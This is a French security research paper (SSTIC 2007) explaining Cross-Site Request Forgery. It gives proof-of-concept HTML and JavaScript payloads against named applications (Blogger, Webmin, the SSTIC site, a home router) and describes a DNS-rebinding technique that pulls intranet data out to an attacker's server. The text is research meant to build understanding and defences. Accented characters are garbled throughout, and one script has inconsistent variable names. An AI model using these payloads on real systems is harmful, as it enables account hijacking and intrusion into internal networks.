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R�esum�e Cet article pr�esente un �etat de l'art des attaques de type Cross-Site Request For-
gery et les nouvelles techniques pouvant être utilis�ees par des attaquants pour les r�ealiser de
fa�con e�cace. Plusieurs sc�enarios d'attaque sur des appl ications Web grand public sont ex-
pliqu�es ainsi qu'une vuln�erabilit�e, pr�esente dans la p lupart des navigateurs Web r�ecents. Cette
vuln�erabilit�e permet de r�ealiser des attaques de type Cross-Site Request Forgery e�caces �a
l'aide de l'objet XMLHttpRequest . De plus, une technique in�edite, permettant d'assurer la
persistance du code hostile sur la machine, même apr�es la fermeture de la fenêtre du navi-
gateur, est pr�esent�ee. En�n, les meilleures solutions po ur se pr�emunir de ces attaques sont
discut�ees pour permettre �a chacun (utilisateurs, d�evel oppeurs de navigateurs ou d'applica-
tions Web, responsables de la s�ecurit�e des syst�emes d'informations dans une organisation,
etc...) de contribuer �a l'�eradication de cette menace.

1 Introduction

Dans la plupart des organisations, le navigateur Web est uneapplication incontournable sur
le poste de travail. Il sert en e�et de client l�eger pour une vaste palette d'applications : moteurs
de recherche, sites communautaires, courrielwebs, banques en ligne, applications m�etiers propres �a
chaque secteur d'activit�e, etc.

Ces applications diverses peuvent être accessibles uniquement depuis le r�eseau interne de l'orga-
nisation, ou disponibles sur Internet. Elles peuvent contenir des donn�ees sensibles et n�ecessiter une
authenti�cation, ou au contraire être ouvertes �a tout le m onde. Mais toutes sont accessibles depuis
un navigateur utilisant des protocoles standards.

Beaucoup d'applications Web oublient cependant que les requêtes HTTP qu'elles re�coivent en
provenance du navigateur Web peuvent avoir �et�e falsi��ee s par une autre page Web ouverte en
parall�ele dans le navigateur. Sans que l'utilisateur en ait conscience, cette page Web hostile peut
usurper son identit�e et e�ectuer des requêtes vers d'autres sites Web. Ce type d'attaque est nomm�e
Cross-Site Request Forgery (CSRF).

Cet article fait le point sur le danger que repr�esentent les attaques par CSRF et les risques
suppl�ementaires apport�es par les nouveaux standards du Web.

Une premi�ere partie d�emontre que les attaques par CSRF sont simples �a e�ectuer pour un atta-
quant, qu'elles peuvent avoir des cons�equences importantes pour la s�ecurit�e des applications Web
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et que ces risques sont globalement sous-estim�es par les d�eveloppeurs et les personnes en charge du
maintien de la s�ecurit�e des SI au sein des organisations.

Une seconde partie pr�esente l'�evolution de la menace au vue des nouvelles fonctionnalit�es des
navigateurs r�ecents. En e�et, malgr�e une prise en compte des menaces dans la conception des
navigateurs, certaines fonctionnalit�es peuvent faciliter la r�ealisation d'attaques de type CSRF �a
destination d'applications Web. D'autres permettent même d'envisager des attaques vers d'autres
�el�ements du SI : bases de donn�ees, outils d'administration �a distance, etc...

Une troisi�eme partie pr�esente les di�cult�es pratiques l i�ees �a la r�ealisation d'attaques de type
CSRF (( en conditions r�eelles )). En e�et, les formes les plus simples de ces attaques sont r�ealis�ees
(( en aveugle)), et l'attaquant ne peut pas adapter ses tentatives et r�ealiser des actions complexes
sur des applications tierces. De plus, certaines fonctionnalit�es des navigateurs rendent plus di�cile
la conservation de la fenêtre Web contenant le code hostile. Nous d�emontrons cependant qu'un
attaquant d�etermin�e peut contourner la plupart des restr ictions pour r�ealiser une attaque de type
CSRF e�cace. Ainsi, nous pr�esenterons un outil montrant qu e le navigateur de l'utilisateur peut
être utilis�e comme un relais, qui envoie vers le r�eseau interne des requêtes arbitraires cr�e�ees par un
attaquant contrôlant un serveur Web hostile.

En�n, une quatri�eme partie �etudie di��erentes solutions pour contrer ces attaques. Ces solutions
peuvent être mises en �uvre soit au niveau des applicationsWeb, soit au niveau du navigateur, ou
encore par une meilleure sensibilisation de l'utilisateur�nal.

2 Les attaques de type Cross Site Request Forgery : simples,
dangereuses et pourtant m�econnues

2.1 Une attaque simple

Les attaques de typeCross-Site Request Forgery(CSRF) sont possibles sur les applications Web
dont la structure de certaines requêtes est pr�edictible.Prenons l'exemple d'une application Web
attendant la requête de type GET suivante pour changer le mot de passe de l'utilisateur :

GET http://www.hsc.fr/changePassword?value=newpass HT TP/1.1

Une autre page Web, si elle e�ectue une requête similaire, peut e�ectuer l'action correspondante
dans l'application Web vuln�erable. Pour cr�eer automatiq uement cette requête, la page Web hostile
peut contenir une balise image, qui provoque l'envoi d'une requête pour r�ecup�erer limage lors de son
analyse par le navigateur. Ainsi, la balise suivante provoquera l'envoi d'une requête de changement
de mot de passe :

<img src=http://www.hsc.fr/changePassword?value=newp ass />

Les attaques de type CSRF sont toujours possible si l'application Web cibl�ee attend une requête
de type POST. Prenons la requête suivante :

POST http://www.hsc.fr/changePassword HTTP/1.1
[]
value=newpass
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Pour r�ealiser une requête de type POST similaire, la page Web hostile peut contenir le formulaire
suivant :

<form action=http://www.hsc.fr/changePassword name=f m ethod=POST>
<input type=hidden name=value value=newpass>

</form>

La soumission de ce formulaire peut être automatis�ee par le script suivant :

<script>document.f.submit();</script>

Lors de l'a�chage d'une page contenant le formulaire et le script pr�ec�edent, la requête de change-
ment de mot de passe est automatiquement envoy�ee.

Cette attaque n�ecessite simplement de connâ�tre la structure des requêtes utilis�ees par l'appli-
cation Web vuln�erable (URL et param�etres), de cr�eer une p age Web et de convaincre l'utilisateur
de l'a�cher dans une fenêtre de son navigateur. La requêtecr�e�ee par l'attaquant est alors envoy�ee
puis trait�ee par l'application Web cibl�ee.

2.2 Une attaque dangereuse

Les vuln�erabilit�es de type CSRF sont dangereuses, puisqu'elles permettent potentiellement de
r�ealiser une action non autoris�ee dans une application Web avec les droits d'un utilisateur l�egitime
et sans son consentement. En e�et, la requête cre�ee lors d'une attaque de type CSRF peut contenir
les informations utilis�ees par l'application Web pour aut henti�er les requêtes de l'utilisateur (cookie,
authenti�cation HTTP...). De plus, la requête est e�ectu� ee par le navigateur de l'utilisateur cibl�e,
ce qui permet �a un attaquant de r�ealiser des requêtes versdes serveurs situ�es sur le r�eseau interne de
l'entreprise. Pour r�ealiser une attaque de type CSRF usurpant les informations d'authenti�cation
d'un utilisateur l�egitime, il faut attendre que celui-ci s 'authenti�e dans l'application cible. Une
fois l'utilisateur authenti��e, la page Web hostile, même si elle n'appartient pas au même domaine
que l'application cibl�ee, peut r�ealiser des requêtes enutilisant la session ouverte par l'utilisateur
l�egitime. Di��erents m�ecanismes de suivi des sessions etd'authenti�cation sont ainsi potentiellement
vuln�erables :

{ envoi d'un cookie de session dans les requêtes ;
{ suivi par adresse IP ou nom DNS ;
{ authenti�cation des requêtes par le m�ecanisme d'authenti�cation HTTP standard ( (( HTTP

Basic )) et (( HTTP Digest ))).
Les tests e�ectu�es sur di��erents navigateurs montrent qu e :

{ Si l'application Web cibl�ee r�ealise un suivi des sessions par cookie, celui-ci sera envoy�e avec
la requête r�ealis�ee par la page hostile.

{ Si l'application r�ealise un suivi des sessions par adresses IP ou par nom DNS, la requête sera
consid�er�ee comme valide, puisqu'elle provient d'une machine pr�ealablement authenti��ee.

{ Si l'application r�ealise une authenti�cation des requê tes par le m�ecanisme HTTP standard
(HTTP Basic ou HTTP Digest), le navigateur envoie les informations d'authenti�cation avec
chaque requête, même si elle provient d'une autre page Web.

Si l'application est uniquement accessible en HTTPS, l'attaquant peut cr�eer une requête utilisant
ce protocole. En cas d'authenti�cation par certi�cat, le na vigateur utilise le certi�cat en cours pour
r�ealiser la requête. Il n'est pas n�ecessaire de renseigner �a nouveau le mot de passe de la cl�e priv�ee
du certi�cat.
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Fig. 1: CSRF : rebond dans le r�eseau interne

�A noter une di��erence de comportement entre Internet Explo rer 7.0 et Firefox 2.0. Sur les 2
navigateurs, lorsque l'utilisateur ouvre une page dans un nouvel onglet ou dans une nouvelle fenêtre
apr�es avoir cliqu�e sur un lien, la page est charg�ee dans unthread appartenant au processus d'ori-
gine. En revanche, le comportement di��ere lorsqu'on clique sur le programme ex�ecutable de chaque
navigateur : Internet Explorer 7.0 utilise un nouveau processus pour chaque nouvel instance, alors
que Firefox 2.0 utilise un unique processus. La cons�equence est que certaines informations d'au-
thenti�cation ne peuvent pas être utilis�ees lorsque la fenêtre hostile est charg�ee dans un processus
di��erent sur Internet Explorer 7.0.

Le tableau suivant r�ecapitule les r�esultats en fonction des di��erents navigateurs : Le terme de

Navigateur IE 7.0 : processus
identique

IE 7.0 : processus
di��erent

FF 2.0 : processus
identique

Cookie X X
Adresse IP / nom DNS X X X
Authenti�cation HTTP X X
Authenti�cation HTTP enregistr�ee dans le
navigateur

X X X

Certi�cat HTTPS X X X

(( session riding)) est parfois utilis�e pour d�ecrire cette possibilit�e pour une page Web d'utiliser les
informations d'authenti�cation fournies par l'utilisate ur dans une autre page Web. Les attaques de
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type CSRF permettent ainsi de d�etourner des sch�emas d'authenti�cation Web par ailleurs solides
pour r�ealiser des actions dans des applications prot�eg�ees.

Par ailleurs, la r�ealisation d'une attaque de type CSRF permet aussi �a un attaquant d'atteindre
une application Web situ�ee sur le r�eseau interne. La page Web hostile peut en e�et contenir des URL
pointant vers des serveurs du r�eseau interne ((( http://192.168.0.1/action.php )) ou (( http:
//intranet/action.php ))). Si la requête est valide, elle peut permettre de r�ealiser des actions sur
l'application interne.

De plus, si l'utilisateur n'est pas authenti��e, la page Web hostile peut cr�eer des requêtes testant
des mots de passes triviaux sur l'application Web cibl�ee. Si un des mots de passe est accept�e, les
requêtes suivantes e�ectu�ees dans la page Web hostile auront acc�es aux fonctionnalit�es prot�eg�ees.

Exemple de sc�enario d'attaque Le (( SMC7004ABR Barricade Broadband Router)) est un
routeur destin�e aux particuliers. Il permet de cr�eer un LA N priv�e et de partager une connexion
Internet entre plusieurs machines. Une interface de con�guration Web est disponible. Cette interface
de con�guration Web n�ecessite une authenti�cation par mot de passe. Une fois l'authenti�cation
r�ealis�ee, le suivi de session se fait en fonction de l'adresse IP de la machine.

Une fonction de l'interface d'administration Web permet de rajouter une machine en DMZ. La
structure de la requête HTTP correspondante est la suivante :

POST /misc.htm HTTP/1.1
Host: 192.168.1.1:88
[]
page=misc&logout=2&timeout=10&ping=1&IP1=0&IP2=0&IP3=0&IP4=0i
&dmzip4=10&C1=1&nonstdftpport=

Une telle requête indique que l'adresse IP 192.168.1.10 doit être consid�er�ee comme la DMZ et que
toutes les requêtes arrivant sur l'adresse IP publique du routeur doivent être transmises �a l'adresse
IP indiqu�ee. Cette IP devient ainsi totalement accessibledepuis Internet.

Imaginons un sc�enario d'attaque type, o�u une personne malintentionn�ee veut compromettre une
machine situ�ee sur le r�eseau interne. Si aucune redirection de port n'est activ�ee sur le routeur vers
la machine cible, l'attaquant ne peut joindre son adresse IPpriv�ee, situ�ee sur le r�eseau interne.
Pour arriver �a ses �ns, il peut cependant e�ectuer une attaq ue de type CSRF. Sil parvient �a faire
a�cher �a l'administrateur une page Web qu'il contrôle alo rs que l'administrateur est authenti��e
dans l'interface de con�guration du routeur, il peut d�ecle ncher automatiquement la requête et rendre
la machine cibl�ee visible (et donc directement attaquable) depuis Internet.

�A noter que, comme �evoqu�e pr�ec�edemment, l'attaquant pe ut aussi essayer des mots de passe
triviaux pour se connecter �a l'application de con�guratio n. Si un mot de passe est trouv�e, l'adresse
IP du poste de travail de l'administrateur sera consid�er�ee comme autoris�ee dans l'application et
l'attaquant pourra r�ealiser les actions n�ecessaires �a l'ajout des IP cibles en DMZ.

2.3 Une attaque m�econnue

Alors que les premi�eres discussions sur Bugtraq �evoquantles risques li�es au CSRF datent de 2001
[6], ces attaques restent largement ignor�ees des d�eveloppeurs d'applications Web et des responsables
en charge du maintien de la s�ecurit�e des SI dans les organisations.

Les raisons possible de cette relative ignorance sont diverses :
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{ Tout dabord, cette vuln�erabilit�e est provoqu�ee par un d es principes fondateurs du Web : une
page provenant d'un domaine peut contenir des liens et e�ectuer des requêtes vers un autre
domaine. Cest le principe des liens hypertextes. C'est aussi cela qui permet d'enrichir les pages
Web par du contenu provenant de site tiers (publicit�es, images, ...). Pourquoi se m�e�er d'une
fonctionnalit�e standard, disponible depuis que le Web existe ?

{ Les concepteurs des applications Web pensent qu'une requ^ete provient syst�ematiquement de
l'utilisateur, et ne pensent pas que cette requête peut avoir �et�e provoqu�ee par une autre page
Web n'ayant aucun lien avec leur application.

�A intervalle r�egulier, des vuln�erabilit�es de type CSRF s ont d�evoil�ees dans des applications Web grand
public. Ainsi en janvier 2006, Jeremiah Grossman a r�ev�el�e comment une page Web hostile pouvait
r�ecup�erer la liste des contacts d'un utilisateur authent i��e sur Gmail [1]. Les vuln�erabilit�es d�evoil�ees
sont cependant peu nombreuses au regard du nombre d'applications vuln�erables. Le probl�eme global
est rarement �evoqu�e dans les bonnes pratiques de d�eveloppement s�ecuris�es, et en pratique, peu
d'applications Web mettent en place une protection e�cace. Ainsi, la plupart des fonctionnalit�es
des applications Web sont vuln�erables �a une attaque de type CSRF.

Dans les applications Web d�evelopp�ees pour r�epondre �a des besoins m�etiers (progiciel �nancier
disposant d'une interface Web, outil des gestion des contrats), la plupart des actions m�etiers peuvent
être e�ectu�ees par une page Web tierce. Les tests d'intrusion que nous avons e�ectu�es montrent qu'il
est souvent possible de modi�er les coordonn�ees d'un fournisseur ou les conditions d'un contrat �a
l'aide d'une attaque de type CSRF simple. Les �equipements r�eseaux de type routeurs, point d'acc�es
Wi�, etc... sont eux aussi fortement vuln�erables �a ces att aques, et il est g�en�eralement possible de
modi�er des param�etres de con�guration critiques �a l'aid e d'une attaque de type CSRF.

Exemples d'applications Web vuln�erables L'observation de la structure des requêtes utilis�ees
par des applications Web permet de d�etecter tr�es simplement les applications vuln�erables. A titre
d'exemple, nous avons test�e et valid�e la possibilit�e des r�ealiser des actions non autoris�ees par une
attaque de type CSRF dans plusieurs applications Web connues. Les tests ont �et�e r�ealis�es en prenant
comme navigateur cible Internet Explorer 7.0 et Firefox 2.0sur une plateforme Windows XP SP2.

Site Web Blogger (www.blogger.com, version en ligne le 29/03/2007) : envoi
d'un message sur un blog arbitraire avec l'identit�e Blogger de l'utilisateur cibl�e.

Une page Web contenant la balise HTML suivante provoque l'envoi d'un message sur le blog
dont l'identi�ant est pass�e en param�etre. Si l'utilisate ur visionnant la page Web est authenti��e sur
Blogger, le message sera post�e sous son identit�e.

<img src="http://www.blogger.com/login-comment.do?bl ogID=31026586
&postID=115271990005599332&postBody=moi+je+vote+Jose+Bove&iden=Blogger
&post=Login+and+Publish"/>

Webmin (version 1.3.20) : Ajout d'un utilisateur sur le syst�eme administr�e
La requête POST suivante est utilis�ee pour ajouter un util isateur sur le syst�eme administr�e par

Webmin :

POST https://localhost:10000/useradmin/save_user.cgi HTTP/1.1
[...]
Referer: https://localhost:10000/useradmin/edit_user .cgi
Cookie: testing=1; sid=49003aef7309052fd5d15620c3576e 93
[...]
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user=CSRF&uid_def=0&uid=0&real=&home_base=1&home=&shell=%2Fbin%2Fsh&passmode=0
&pass=&encpass=&othersh=&expired=&expirem=1&expirey=&min=&max=&warn=&inactive=
&newgid=&gidmode=0&gid=users&makehome=1&copy_files=1&others=1

La r�ealisation d'une attaque de type CSRF pour envoyer une requête selon les techniques standard
ne fonctionne pas. L'application Webmin renvoit l'avertissement suivant :

Warning ! Webmin has detected that the program
https: // localhost:

10000/ useradmin/ save n user. cgi? user= powned n&homen base= 1n&gid= users was linked to
from the URL http: // www. hsc. fr/ csrf. html , which appears to be outside the Webmin
server. This may be an attempt to trick your server into executing a dangerous command.

Fig. 2: Webmin : message d'avertissement

Cependant, il est possible de supprimer l'envoi du(( referer )) en e�ectuant le POST dans une
iframe. Le code suivant montre comment e�ectuer une telle requête.

<html>
<body onload="document.f.submit()">

<iframe src="http://www.hsc-news.com/" name="iframeWe bmin" id="iframeWebmin">
</iframe>
<form action="https://localhost:10000/useradmin/save _user.cgi"

name="f" target="iframeWebmin">
<input type="hidden" name="user" value="CSRF" />
<input type="hidden" name="uid_def" value="0" />

[...]
<input type="hidden" name="others" value="1" />
<input type="submit" value="submit" />

</form>
</body>

</html>
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Ce code fonctionne, car les requêtes envoy�ees dans lesiframes n'envoient pas le champ(( Referer)).
Dans la mesure o�u ce champ peut être volontairement d�esactiv�e par l'utilisateur, Webmin accepte
la requête et l'utilisateur est cr�e�e. Cette vuln�erabil it�e permet ainsi de cr�eer un utilisateur avec des
droits arbitraires dont le mot de passe est choisi par l'attaquant. De nombreux autres param�etres
de con�guration peuvent être modi��es de fa�con similaire .

Site Web ww.sstic.org (version en ligne le 29/03/2007) : r�ecup�eration du mot de passe d'un
utilisateur

La page suivante permet aux personnes inscrites sur le site www.sstic.org (dont les intervenants)
de modi�er leur mot de passe : Cette fonctionnalit�e de changement de mot de passe n'est pas

Fig. 3: Site SSTIC : page de modi�cation des mots de passe

vuln�erable au CSRF. Non pas que le d�eveloppeur ait mis en place une protection sp�eci�que pour se
pr�emunir des CSRF (voir partie 4), mais il respecte les bonnes pratiques de s�ecurit�e en demandant
le mot de passe pr�ec�edent avant d'accepter le nouveau mot de passe. Il est cependant possible
de modi�er l'adresse e-mail de l'utilisateur actuel dans la page (( Modi�er votre compte )) : Une
attaque de type CSRF, utilisant les techniques d�ej�a pr�es ent�ees, permet de rentrer une autre adresse
de courriel dans les coordonn�ees de l'utilisateur. L'attaquant peut ainsi rentrer un adresse e-mail
qu'il contrôle. Il lui su�rait ensuite, sans disposer d'un e authenti�ation pr�ealable de se rendre sur
la page (( Mot de passe oubli�e )) pour demander �a r�einitialiser le mot de passe de l'utilisateur
cibl�e. Les informations n�ecessaires seront envoy�ees sur l'adresse de courriel qu'il contrôle, ce qui lui
permettrait ainsi d'acc�eder au contenu des soumissions e�ectu�ees.
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Fig. 4: Site SSTIC : page de modi�cation des coordonn�ees

Le cas des applications des banques en ligne fran�caise :

Sur les quelques sites de banques en ligne que nous avons parcourus, la r�ealisation d'une op�eration
bancaire importante, comme un virement, n'est pas r�ealisable par les techniques habituelles. En e�et,
la r�ealisation de ces op�erations n�ecessite souvent une seconde requête de con�rmation, et un num�ero
de r�ef�erence de l'op�eration est g�en�er�e pour identi�e r la requête de con�rmation. Ce m�ecanisme n'est
pas sp�eci�quement concu pour prot�eger des attaques par CSRF, mais pour �eviter qu'un utilisateur
rafraichissant la fenêtre de navigation en cours ou revenant en arri�ere dans l'historique du navigateur
ne g�en�ere plusieurs op�erations bancaires identiques.

Nous n'avons pas essay�e de d�eterminer si un identi�ant de r�ef�erence, respectant le format attendu
mais cr�e�e par une autre fenêtre, pouvait être accept�e par ces applications. De même, nous n'avons
pas essay�e de d�eterminer si ces num�eros de r�ef�erence d'op�erations bancaires pouvaient être test�es
par force brute pour trouver un identi�ant valide, ce qui pou rrait être possible dans la mesure o�u ces
num�eros contiennent la date et l'heure de l'op�eration. En �n, nous n'avons pas essay�e de modi�er les
coordonn�ees personnelles de l'utilisateur cibl�e pour pouvoir r�ecup�erer des informations privil�egi�ees,
comme son mot de passe.

Comme nous l'avons vu, les vuln�erabilit�es de type CSRF sont tr�es r�epandues dans les appli-
cations Web, et il est facile de trouver d'autres d'exemples. Un Month of the Cross Site Request
Forgery Bug risquerait de durer bien plus d'un mois...
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Fig. 5: Site SSTIC : r�einitialisation du mot de passe

3 �Evolution des attaques sur les navigateurs Web r�ecents

3.1 Les attaques historiques par GET et POST : plus e�caces en core avec Javascript

Les attaques pr�esent�ees dans la partie pr�ec�edente, utilisant des requêtes HTTP de type GET et
POST, peuvent être r�ealis�ees de fa�con dynamique �a l'ai de d'un script sur la page Web hostile. Le
langage de script le plus utilis�e, Javascript, permet ainsi de contrôler l'enchâ�nement des requêtes de
fa�con dynamique, sans avoir �a recharger le contenu de la page hostile (par exemple avec une balise
<meta http-equiv="Refresh" content="2">, qui recharge la page en cours toute les deux secondes).
L'utilisation d'un langage de script permet aussi la r�eali sation d'une page hostile r�ealisant des
requêtes dont le type, l'URL et les param�etres, lui sont fournis en temps r�eel par le serveur. Cette
possibilit�e est approfondie dans la partie 3, qui pr�esente l'outil CSRF-proxy.

Le code Javascript correspondant �a l'envoi de la requête GET pr�esent�e dans la partie 1 est
simple :

<script>
var img= new Image ();
img.src = "http://www.hsc.fr/changePassword?value=new pass";

</script>

�A noter que d'autres balises HTML peuvent provoquer l'envoi par le navigateur d'une requête de
type GET, notamment les balises APPLET, BASE, BODY, EMBED, L AYER, META, OBJECT,
LINK, SCRIPT ou STYLE.
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De même, la construction et l'envoi automatique du formulaire pr�esent�e dans la partie 1 peuvent
être automatis�es et contrôl�es par Javascript de la fa�con suivante :

<script>
var f = document.createElement('form');
f.setAttribute("action", "http://www.hsc.fr/changePa ssword");
f.setAttribute("method", "POST");
f.setAttribute("name", "form");

var param = document.createElement('input');
param.setAttribute("type", "hidden");
param.setAttribute("name", "value");
param.setAttribute("value", "newpass");

document.body.appendChild(f);
f.appendChild(param);

window.form.submit();
</script>

L'utilisation de Javascript pour construire de fa�con dynamique les requêtes HTTP est e�cace, sauf
lorsque le navigateur cibl�e est Internet Explorer 7.0. En e�et, ce dernier a�che dans certains cas
un message d'avertissement demandant l'autorisation d'ex�ecuter un script sur la page.

Les attaques de type CSRF utilisant les techniques connues �a ce jour ont cependant une limite
importante : la page hostile r�ealisant les requêtes ne peut consulter le r�esultat de ces requêtes.
En e�et, les navigateurs cloisonnent le contenu des di��erents domaines selon une politique appel�ee
(( same origin policy)). Les scripts d'une page provenant du serveur(( www.hsc.com)) ne peut
consulter ou modi�er le contenu, c'est �a dire l'arborescence DOM ((( Document Object Model ))),
d'une page provenant du serveur(( www.hsc-news.com)). Ainsi, lors d'une attaque de type CSRF
(( standard )), l'attaquant peut r�ealiser des actions dans l'application, mais ne peut pas consulter
des informations sur ces pages.

Nous verrons cependant que les nouveaux standards du Web permettent �a un attaquant d�etermin�e
de franchir cette limite.

3.2 Les possibilit�es d'attaques o�ertes par les plugins de s navigateurs

Certaines attaques de type CSRF peuvent être r�ealis�ees �a l'aide de plugins ou d'objets ActiveX
accessibles dans les navigateurs. En e�et, dans certains cas, la politique de s�ecurit�e utilis�ee par ces
plugins est moins restrictive que celle du navigateur, comme cela a �et�e le cas dans le plugin Flash
[4].

De plus, certains plugins permettent d'acc�eder �a d'autres types de ressources, comme les bases
de donn�ees. Par exemple, le constructeur suivant permet d'instancier un objet connexion ADO vers
une base de donn�ees SQL, via une source de donn�ee ODBC con�gur�ee :

var conn = new ActiveXObject("ADODB.Connection");
conn.Open("dsn=AppDB;uid=user;pwd=pass;");
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Un attaquant pourrait essayer de tirer partie de cette source de donn�ees en essayant des mots
de passe triviaux. Cette possibilit�e n'est cependant pas d�etaill�ee, car les contrôles ActiveX sont
d�esactiv�es par d�efaut dans Internet Explorer 7.0, et ne sont pas disponibles sous Firefox 2.0. De
plus, la plupart des bases de donn�ees modernes disposent d'une interface d'administration Web,
comme Oracle avecXMLDB (vuln�erable aux attaques de type CSRF ?).

3.3 Les requêtes XMLHttpRequest : de nouvelles opportunit �es pour les attaques de
type CSRF

Pour faciliter le d�eveloppement des nouvelles applications (( Web 2.0)), les navigateurs r�ecents
disposent d'une fonctionnalit�e permettant aux pages de r�ealiser des requêtes HTTP de fa�con asyn-
chrone et d'int�egrer le r�esultat de la requête dans la page en cours. Elle permet de d�evelopper des
sites ergonomiques, en �evitant le rechargement syst�ematique de la page HTML pour mettre �a jour
son contenu. Cette nouvelle fonctionnalit�e repose sur l'utilisation de la fonction XMLHttpRequest.

Les objets XMLHttpRequest sont disponibles depuis septembre 1998 sur Internet Explorer 5.0
en tant qu'objet ActiveX, puis nativement depuis Internet E xplorer 7.0. Sur les autres navigateurs,
ils sont utilisables depuis Mozilla 1.0 (en mai 2002), Safari 1.2 (f�evrier 2004), Konqueror 3.4 (mars
2005) et Opera 8.0 (avril 2005).

L'envoi d'une requête par l'objet XMLHttpRequest est cod�e de la fa�con suivante dans Internet
Explorer 7.0 et dans Firefox 2.0 (pour Internet Explorer 6.0, la cr�eation se fait grâce �a un objet
ActiveX) :

<script>
var xhr = new XMLHttpRequest();
xhr.open(POST, "http://www.hsc.fr/changePassword", tr ue);
xhr.setRequestHeader("Cookie", "toto");
xhr.onreadystatechange = function () {
if (xhr.readyState == 4) {

doEvilAction(xhr.responseText);
}

};
req.send("value=newpass");

</script>

Ce script provoquera l'envoi de la requête HTTP suivante :

POST changePassword HTTP/1.1
[...]
Cookie: toto
[...]
value=newpass

Cette fonctionnalit�e est int�eressante pour les attaquants. Elle permet de r�ealiser des requêtes de
fa�con aussi 
exible que les codes Javascript pr�esent�es pr�ec�edemment, mais aussi de modi�er les
en-têtes envoy�ees au serveur Web. Et surtout, elle permetde r�ecup�erer le r�esultat de la requête
pour traitement ou pour l'envoyer au serveur hostile. Cela pourrait ouvrir la porte �a des attaques
de type CSRF tr�es e�caces.



Actes du symposium SSTIC07 13

Les concepteurs desXMLHttpRequest ont compris les risques li�es �a cette nouvelle fonctionnalit�e.
Pour �eviter les attaques de type CSRF, les connexions utilisant l'objet XMLHttpRequest ne peuvent
être e�ectu�ees que vers le domaine h�ebergeant la page d'origine. Cette restriction est nomm�e (( same
domain policy )). Ainsi, un script h�eberg�e sur une page du serveurwww.hsc.fr ne peut e�ectuer des
requêtes que vers des URL du serveurwww.hsc.fr . Il ne peut e�ectuer des requêtes utilisant l'objet
XMLHttpRequest vers le serveurwww.hsc-news.com, ou même vers l'URL www2.hsc.fr . Plusieurs
astuces permettant de contourner cette restriction ont �et�e trouv�ees par des d�eveloppeurs, comme
la r�ealisation de la requête d�esir�ee par le serveur d'origine. Mais ces astuces ne remettent pas en
question la s�ecurit�e du mod�ele et ne permettent pas de faciliter les attaques de type CSRF.

HSC a cependant d�ecouvert que le m�ecanisme de restrictionmis en place dans les principaux
navigateurs du march�e ne permet pas de bloquer de fa�con e�cace les attaques de type CSRF. En
e�et, le m�ecanisme de restriction actuel empêche les reqûetes inter-domaines, mais fait con�ance �a
l'infrastructure DNS sous-jacente pour d�eterminer quelle adresse IP correspond �a l'URL autoris�ee.
Or, dans le cas d'un site hostile, l'attaquant peut contrôler le serveur DNS ayant autorit�e sur la
zone correspondant �a l'URL de la page hostile. Il peut ainsi, une fois la page hostile t�el�echarg�ee,
modi�er les enregistrements DNS correspondants au serveurWeb ayant servi de cette page. Les
requêtes utilisant l'objet XMLHttpRequest seront autoris�ees vers l'URL du serveur, même si cette
URL correspond d�esormais �a une autre adresse IP que celle du site Web d'origine. Ces requêtes
peuvent ainsi être dirig�ees vers des adresses IP priv�ees, situ�ees sur le r�eseau interne de la cible.

Il est ainsi possible �a une page Web hostile, h�eberg�ee surInternet, de se connecter �a des ap-
plications Web situ�ees sur l'intranet d'une organisation, d'usurper l'identit�e de l'utilisateur actuel
du navigateur (s'il est connect�e �a l'application Web cibl �ee), et de r�ealiser des actions non auto-
ris�ees. Mais surtout, la page hostile peut renvoyer les informations r�ecup�er�ees depuis l'application
Web interne vers le serveur hostile situ�e sur Internet et contrôl�e par l'attaquant. Cette attaque ne
n�ecessite pas de compromettre le navigateur (au sens d'ex�ecuter du code arbitraire, comme apr�es
l'exploitation d'une vuln�erabilit�e li�ee �a la gestion d e la m�emoire), ou l'installation d'un cheval de
Troie sur le poste de l'utilisateur. Seules les API standards du Web sont utilis�ees et d�etourn�ees.

Cette attaque a �et�e impl�ement�ee avec succ�es dans des conditions r�eelles sur les navigateurs
Internet Explorer 6 et Firefox 2.0 (plate forme Windows XP SP2). Voici la cin�ematique de cette
attaque :

1. Consultation de la page hostile par la victime :
(a) Le navigateur demande une r�esolution DNS pour d�eterminer l'adresse IP correspondant au

serveurwww.hsc.fr .

(b) Le serveur DNS ayant autorit�e sur le domaine hsc.fr renvoit l'adresse IP r�eelle du serveur
www.hsc.fr , mais en pr�ecisant une dur�ee de vie nulle pour cette information, ce qui empêche
la mise en cache par les serveurs DNS interm�ediaire et par lenavigateur.

(c) Le navigateur envoie une requête HTTP vers l'adresse IPdu serveurwww.hsc.fr .

(d) Le serveur renvoit la page hostile.
2. De fa�con optionnelle, la page hostile peut utiliser une des techniques pr�esent�ees dans le chapitre

3 pour assurer la persistance du code hostile dans le navigateur de l'utilisateur. Si ces tech-
niques sont utilis�ees avec succ�es, le code hostile fonctionne jusqu'�a ce que l'utilisateur arrête
manuellement le processus dans le gestionnaire des tâches.

3. Modi�cation de l'adresse IP correspondant �a www.hsc.fr :
(a) Un script côt�e serveur informe le serveur DNS que la page hostile a �et�e charg�ee par le

navigateur cibl�e.
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(b) Le serveur DNS modi�e son enregistrement DNS pour renvoyer une adresse IP correspon-
dant �a l'adresse IP cibl�ee. Comme �evoqu�e pr�ec�edemmen t, cela peut-être une adresse IP
priv�ee, comme 192.168.0.1.

(c) Il faut ensuite attendre que le navigateur actualise soncache DNS. C'est quasiment imm�ediat
pour Firefox 2.0, qui r�ealise de nombreuses requêtes DNS.C'est un peu plus long (moins
de 5 minutes) pour Internet Explorer 6, qui a tendance �a ne pas refaire de requêtes DNS
tout de suite.

4. R�ealisation des requêtesXMLHttpRequest par la page hostile :
(a) La page hostile r�ealise les requêtesXMLHttpRequest arbitraires pour acc�eder �a l'application

Web cibl�ee.

(b) La page hostile r�ecup�ere les r�eponses HTTP renvoy�ees par l'application cibl�ee, et envoie le
contenu vers le serveur Web hostile (en utilisant par exemple une requête HTTP standard
vers une URL alternative et en passant les informations dansle corps d'une requête POST).

5. S'ils le d�esirent, le serveur ou la page hostile peuvent demander au serveur DNS un changement
de l'adresse IP cible pour pouvoir consulter les pages d'autres application Web.

Fig. 6: Attaque CSRF avec XMLHttpRequest

4 Les attaques de type CSRF en pratique

Les techniques permettant de r�ealiser des requêtes vers des sites tiers ont �et�e pr�esent�ees. Ce-
pendant, de nombreuses personnes pensent que les attaques de type CSRF sont tr�es di�ciles voir
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impossibles �a r�ealiser en pratique. Ils pensent que l'attaquant doit pr�evoir toutes les requêtes devant
être e�ectu�ees pour pouvoir construire la page Web hostile. Ils pensent que d�es que l'utilisateur na-
